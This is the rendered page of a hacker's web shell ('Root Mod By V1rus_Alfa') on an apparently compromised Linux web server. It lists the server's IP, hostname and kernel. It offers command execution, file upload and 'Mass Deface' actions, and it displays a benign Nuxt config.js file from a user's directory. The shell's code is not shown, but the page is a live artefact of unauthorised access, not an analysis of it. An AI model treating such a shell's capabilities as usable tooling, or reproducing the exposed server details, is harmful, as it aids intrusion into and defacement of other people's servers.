���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.1
/
nuxt
/
dist
/
app
/
Viewing: config.js
import { reactive } from "vue"; import { klona } from "klona"; import { useNuxtApp } from "./nuxt.js"; import __appConfig from "#build/app.config.mjs"; export const _getAppConfig = () => __appConfig; function deepDelete(obj, newObj) { for (const key in obj) { const val = newObj[key]; if (!(key in newObj)) { delete obj[key]; } if (val !== null && typeof val === "object") { deepDelete(obj[key], newObj[key]); } } } function deepAssign(obj, newObj) { for (const key in newObj) { const val = newObj[key]; if (val !== null && typeof val === "object") { const defaultVal = Array.isArray(val) ? [] : {}; obj[key] = obj[key] || defaultVal; deepAssign(obj[key], val); } else { obj[key] = val; } } } export function useAppConfig() { const nuxtApp = useNuxtApp(); if (!nuxtApp._appConfig) { nuxtApp._appConfig = import.meta.server ? klona(__appConfig) : reactive(__appConfig); } return nuxtApp._appConfig; } export function updateAppConfig(appConfig) { const _appConfig = useAppConfig(); deepAssign(_appConfig, appConfig); } if (import.meta.dev) { const applyHMR = (newConfig) => { const appConfig = useAppConfig(); if (newConfig && appConfig) { deepAssign(appConfig, newConfig); deepDelete(appConfig, newConfig); } }; if (import.meta.hot) { import.meta.hot.accept((newModule) => { const newConfig = newModule?._getAppConfig(); applyHMR(newConfig); }); } if (import.meta.webpackHot) { import.meta.webpackHot.accept("#build/app.config.mjs", () => { applyHMR(__appConfig); }); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa